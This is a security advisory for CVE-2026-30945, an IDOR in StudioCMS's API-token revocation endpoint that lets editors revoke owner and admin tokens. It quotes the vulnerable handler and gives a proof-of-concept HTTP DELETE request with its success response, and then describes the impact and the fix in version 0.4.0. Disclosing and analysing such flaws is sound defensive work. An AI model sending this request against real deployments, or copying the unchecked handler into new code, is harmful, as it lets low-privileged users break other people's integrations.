CVE-2026-30945 is a high-severity (CVSS 7.1) CWE-639 vulnerability in studiocms. A fix is available for studiocms — see the affected versions and patch details below.
StudioCMS: IDOR — Arbitrary API Token Revocation Leading to Denial of Service
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30945.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-30945 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
studiocmsnpmDescription
Summary
The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts. The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.
Details
Vulnerable Code
The following is the server-side handler for the DELETE /studiocms_api/dashboard/api-tokens endpoint (revokeApiToken):
File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 58–99) Version: [email protected]
DELETE: (ctx) =>
genLogger('studiocms/routes/api/dashboard/api-tokens.DELETE')(function* () {
const sdk = yield* SDKCore;
// Check if demo mode is enabled
if (developerConfig.demoMode !== false) {
return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
}
// Get user data
const userData = ctx.locals.StudioCMS.security?.userSessionData; // [1]
// Check if user is logged in
if (!userData?.isLoggedIn) { // [2]
return apiResponseLogger(403, 'Unauthorized');
}
// Check if user has permission
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor; // [3]
if (!isAuthorized) {
return apiResponseLogger(403, 'Unauthorized');
}
// Get Json Data
const jsonData = yield* readAPIContextJson<{
tokenID: string; // [4]
userID: string; // [5]
}>(ctx);
// Validate form data
if (!jsonData.tokenID) {
return apiResponseLogger(400, 'Invalid form data, tokenID is required');
}
if (!jsonData.userID) {
return apiResponseLogger(400, 'Invalid form data, userID is required');
}
// [6] Both user-controlled values passed directly — no ownership or identity checks
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
return apiResponseLogger(200, 'Token deleted'); // [7]
}),
Analysis The handler shares the same class of authorization flaws found in the token generation endpoint, applied to a destructive operation:
- Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only checks isEditor. Token revocation is a high-privilege operation that should require ownership of the token or elevated administrative privileges — not a generic editor-level gate.
- No token ownership validation [4][6]: The handler does not verify that jsonData.tokenID actually belongs to the jsonData.userID supplied in the payload. An attacker could enumerate or guess token IDs and revoke them regardless of ownership.
- Missing caller identity check [5][6]: The jsonData.userID from the payload is never compared against userData (the authenticated caller from [1]). Any editor can specify an arbitrary target user UUID and revoke their tokens.
- No role hierarchy enforcement [6]: There is no check preventing a lower-privileged user (editor) from revoking tokens belonging to higher-privileged accounts (admin, owner).
- Direct pass-through to destructive operation [6][7]: Both user-controlled parameters are passed directly to sdk.REST_API.tokens.delete() without any server-side validation, and the server responds with a generic success message, making this a textbook IDOR.
PoC
Environment User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor
Attack — Editor Revokes Owner's API Token An authenticated editor sends the following request to revoke a token belonging to the owner:
DELETE /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Accept: application/json
Content-Length: 98
{
"tokenID": "16a2e549-513b-40ac-8ca3-858af6118afc",
"userID": "2450bf33-0135-4142-80be-9854f9a5e9f1"
}
Response (HTTP 200):
{"message":"Token deleted"}
The server confirmed deletion of the owner's token. The tokenID here refers to the internal token record identifier (UUID), not the JWT value itself. The editor's session cookie was sufficient to authorize this destructive action against a higher-privileged user.
Impact
- Denial of Service on integrations: API tokens used in CI/CD pipelines, third-party integrations, or monitoring systems can be silently revoked, causing automated workflows to fail without warning.
- No audit trail: The revocation is processed as a legitimate operation — the only evidence is the editor's own session, making attribution difficult without detailed request logging.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | studiocms | all versions | 0.4.0npm install studiocms@0.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for studiocms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update studiocms to 0.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30945 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30945 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-30945. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-30945 in your dependencies?
O3 Security finds CVE-2026-30945 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.